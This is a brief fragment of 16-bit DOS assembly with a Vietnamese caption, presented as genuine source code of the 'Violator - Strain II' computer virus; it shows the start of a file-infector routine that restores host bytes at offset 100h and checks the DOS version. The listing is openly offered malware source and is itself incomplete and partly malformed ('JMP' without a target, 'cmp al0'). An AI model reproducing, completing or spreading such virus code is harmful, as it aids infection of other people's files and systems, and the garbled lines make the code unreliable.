Phân đoạn mã
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP
***
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
mov ah,30h
int 21h
cmp al0
JnZ dos_ok
JMP quit
- những phần mã nguồn thực của virus Violator - Strain II